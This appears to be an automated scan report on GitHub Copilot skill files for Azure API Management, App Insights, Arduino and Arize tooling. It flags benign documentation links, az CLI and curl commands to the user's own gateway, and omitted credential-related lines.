- Network accessline 124
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 125
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 126
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 127
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/github-copilot/skills/apim-ai-gateway/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/apim-ai-gateway/references/patterns.md
- Network accessline 13
- APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance)) - Network accessline 65
az apim api import --service-name <apim-name> --resource-group <rg> --api-id azure-openai-api --path "openai" --specification-format OpenApi --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs - Network accessline 69
--path "openai" \ --specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" - Network accessline 70
--specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ --service-url " - Network accessline 71
--specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ - Network accessline 81
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 82
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 83
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 116
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 117
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 118
"https://aoai-eastus.openai.azure.com", - Network accessline 119
"https://aoai-westus.openai.azure.com" - Network accessline 124
}" /> <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 125
<set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 126
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 134
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 135
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 136
"https://aoai-eastus.openai.azure.com", - Network accessline 137
"https://aoai-westus.openai.azure.com" - Network accessline 177
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 178
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 179
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 216
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 217
<authentication-managed-identity resource="https://cognitiveservices.azure.com" />
harness/github-copilot/skills/apim-ai-gateway/references/policies.md
- Network accessline 231
<!-- 1. Authentication --> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 232
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 309
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 310
- [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies) - Network accessline 311
- [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)
harness/github-copilot/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md
- Access to secretsline 17
[Credential-related source omitted]
harness/github-copilot/skills/apim-ai-gateway/references/troubleshooting.md
- Network accessline 17
| Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us - Network accessline 18
| Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint - Network accessline 19
| Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) | - Network accessline 94
# Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 95
curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 212
# Send request with tracing curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 213
curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 256
# 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 257
curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 268
- [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems) - Network accessline 269
- [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics) - Network accessline 270
- [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)
harness/github-copilot/skills/appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/github-copilot/skills/appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/arduino-azure-iot-edge-integration/SKILL.md
- Network accessline 23
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 27
- https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/ - Network accessline 28
- https://docs.arduino.cc/ - Network accessline 29
- https://docs.arduino.cc/language-reference/ - Network accessline 130
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 131
- [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/) - Network accessline 132
- [Arduino documentation](https://docs.arduino.cc/) - Network accessline 133
- [Arduino language reference](https://docs.arduino.cc/language-reference/)
harness/github-copilot/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md
harness/github-copilot/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md
- Network accessline 7
- Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 8
- Arduino docs home: <https://docs.arduino.cc/> - Network accessline 9
- Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 10
- Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/> - Network accessline 11
- Arduino language reference: <https://docs.arduino.cc/language-reference/> - Network accessline 12
- Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/> - Network accessline 13
- Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/> - Network accessline 14
- Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/> - Network accessline 15
- Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/> - Network accessline 16
- Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/> - Network accessline 17
- Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>
harness/github-copilot/skills/arize-ai-provider-integration/SKILL.md
- Access to secretsline 48
[Credential-related source omitted] - Network accessline 105
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Network accessline 106
[Credential-related source omitted] - Access to secretsline 106
[Credential-related source omitted] - Network accessline 107
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Network accessline 109
| `vertexAI` | `ax ai-integrations create --name "My Vertex AI Integration" --provider vertexAI --provider-metadata '{"project_id": "my-gcp-project", "location": "us-central1"}'` | | `gemini` | `ax ai-integrations create --name "My Gemini I - Network accessline 110
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Network accessline 111
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 112
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 131
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 133
ax ai-integrations update NAME_OR_ID --base-url "https://new-endpoint.example.com/v1" - Network accessline 148
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.m - Network accessline 149
| `ax: command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct use - Network accessline 150
| `401 Unauthorized` or missing API key | Run `ax profiles show` or `ax profiles show --expand`; if missing or wrong, read `references/ax-profiles.md`; direct users without a key to https://app.arize.com/admin > API Keys. | - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 162
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Network accessline 215
- [Arize API Keys](https://app.arize.com/admin) - Network accessline 216
- [Azure OpenAI endpoint example](https://my-resource.openai.azure.com/) - Network accessline 217
- [NVIDIA NIM endpoint example](https://integrate.api.nvidia.com/v1/models) - Network accessline 218
- [Custom OpenAI-compatible endpoint example](https://my-llm-proxy.example.com/v1) - Network accessline 219
- [Updated endpoint example](https://new-endpoint.example.com/v1)
harness/github-copilot/skills/arize-ai-provider-integration/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-annotation/SKILL.md
- Network accessline 27
- Use `ax profiles show` only after an authorization or profile error. - Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. - If the user - Network accessline 29
- If the user needs an API key, direct them to https://app.arize.com/admin > API Keys. - Access to secretsline 167
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Network accessline 207
| `ax: command not found` or `command not found` | CLI absent. | Read `references/ax-setup.md`. | | Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run - Network accessline 208
| Version error | CLI incompatible. | Read `references/ax-setup.md`. | | `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/ - Network accessline 209
| `401 Unauthorized` | API key lacks access or profile is wrong. | Run `ax profiles show`; update via `references/ax-profiles.md`; API keys are at https://app.arize.com/admin > API Keys. |
harness/github-copilot/skills/arize-annotation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-dataset/SKILL.md
- Network accessline 43
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 44
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 45
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
harness/github-copilot/skills/arize-dataset/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-evaluator/SKILL.md
- Network accessline 28
| --- | --- | | `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks - Network accessline 29
| `command not found` or version error | Read `references/ax-setup.md`. | | `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct - Network accessline 30
| `401 Unauthorized` or missing API key | Run `ax profiles show`. If the profile is missing or wrong, use `references/ax-profiles.md`; if the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Access to secretsline 32
[Credential-related source omitted] - Network accessline 86
Never fabricate evaluation results. If a task fails, is cancelled, or produces no scores, report the failure and explain what happened. Do not perform a manual evaluation, invent quality scores, estimate percentages, or present agent analys - Network accessline 143
- [Arize admin API keys](https://app.arize.com/admin) - Network accessline 144
- [Arize support](https://arize.com/support)
harness/github-copilot/skills/arize-evaluator/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-evaluator/references/evaluator-crud-workflows.md
- Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 423
|---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | - Network accessline 424
| `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` | - Network accessline 425
| `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
harness/github-copilot/skills/arize-experiment/SKILL.md
- Network accessline 29
| `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f - Network accessline 30
| Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut - Network accessline 31
| API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 121
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 173
| `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app. - Network accessline 174
| Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil - Network accessline 175
| `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | - Access to secretsline 203
[Credential-related source omitted] - Network accessline 249
- [Arize API keys](https://app.arize.com/admin)
harness/github-copilot/skills/arize-experiment/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/skills/arize-instrumentation/SKILL.md
- Network accessline 8
metadata: author: "arize" compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https:/ - Network accessline 9
author: "arize" compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/d - Network accessline 10
compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for - Network accessline 28
Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T - Network accessline 34
> Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed. - Access to secretsline 45
[Credential-related source omitted] - Network accessline 111
The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs. - Network accessline 113
- **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 114
- **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in - Network accessline 115
- **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/ - Network accessline 116
- **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia). - Network accessline 117
- **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/ - Network accessline 118
- **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f - Network accessline 119
- **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations). - Network accessline 121
**Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed - Network accessline 134
- TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package. - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry - Network accessline 135
- Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i - Network accessline 136
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Network accessline 137
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 138
- Run `ax profiles show` to check for an existing profile. - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht - Network accessline 139
- If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details. - Network accessline 140
- If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new - Access to secretsline 141
[Credential-related source omitted] - Network accessline 273
See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes. - Access to secretsline 288
[Credential-related source omitted] - Network accessline 311
"arize-ax-docs": { "url": "https://arize.com/docs/mcp" - Network accessline 312
"url": "https://arize.com/docs/mcp" - Network accessline 318
See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant). - Network accessline 322
| Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 323
|----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 324
| Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 325
| Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 326
| Arize AX Docs | https://arize.com/docs/ax | - Network accessline 327
| Full integration list | https://arize.com/docs/ax/integrations | - Network accessline 328
| Doc index (llms.txt) | https://arize.com/docs/llms.txt | - Access to secretsline 338
[Credential-related source omitted] - Access to secretsline 375
[Credential-related source omitted] - Network accessline 383
- [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) - Network accessline 384
- [Agent Setup Prompt](https://arize.com/docs/PROMPT.md) - Network accessline 385
- [Arize AX Docs](https://arize.com/docs/ax) - Network accessline 386
- [Full integration list](https://arize.com/docs/ax/integrations) - Network accessline 387
- [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) - Network accessline 388
- [OpenInference](https://github.com/Arize-ai/openinference) - Network accessline 389
- [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) - Network accessline 390
- [Arize app](https://app.arize.com) - Network accessline 391
- [Doc index](https://arize.com/docs/llms.txt) - Network accessline 392
- [Arize Docs MCP](https://arize.com/docs/mcp) - Network accessline 393
- [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai) - Network accessline 394
- [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic) - Network accessline 395
- [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 396
- [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai) - Network accessline 397
- [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock) - Network accessline 398
- [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama) - Network accessline 399
- [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq) - Network accessline 400
- [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai) - Network accessline 401
- [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter) - Network accessline 402
- [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai) - Network accessline 403
- [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain) - Network accessline 404
- [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph) - Network accessline 405
- [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex) - Network accessline 406
- [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai) - Network accessline 407
- [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy) - Network accessline 408
- [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen) - Network accessline 409
- [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel) - Network accessline 410
- [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic) - Network accessline 411
- [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack) - Network accessline 412
- [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai) - Network accessline 413
- [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents) - Network accessline 414
- [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor) - Network accessline 415
- [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno) - Network accessline 416
- [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk) - Network accessline 417
- [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol) - Network accessline 418
- [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey) - Network accessline 419
- [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai) - Network accessline 420
- [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai) - Network accessline 421
- [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws) - Network accessline 422
- [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain) - Network accessline 423
- [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra) - Network accessline 424
- [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel) - Network accessline 425
- [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai) - Network accessline 426
- [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j) - Network accessline 427
- [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai) - Network accessline 428
- [Arconia](https://arize.com/docs/ax/integrations/java/arconia) - Network accessline 429
- [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow) - Network accessline 430
- [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise) - Network accessline 431
- [Dify](https://arize.com/docs/ax/integrations/platforms/dify) - Network accessline 432
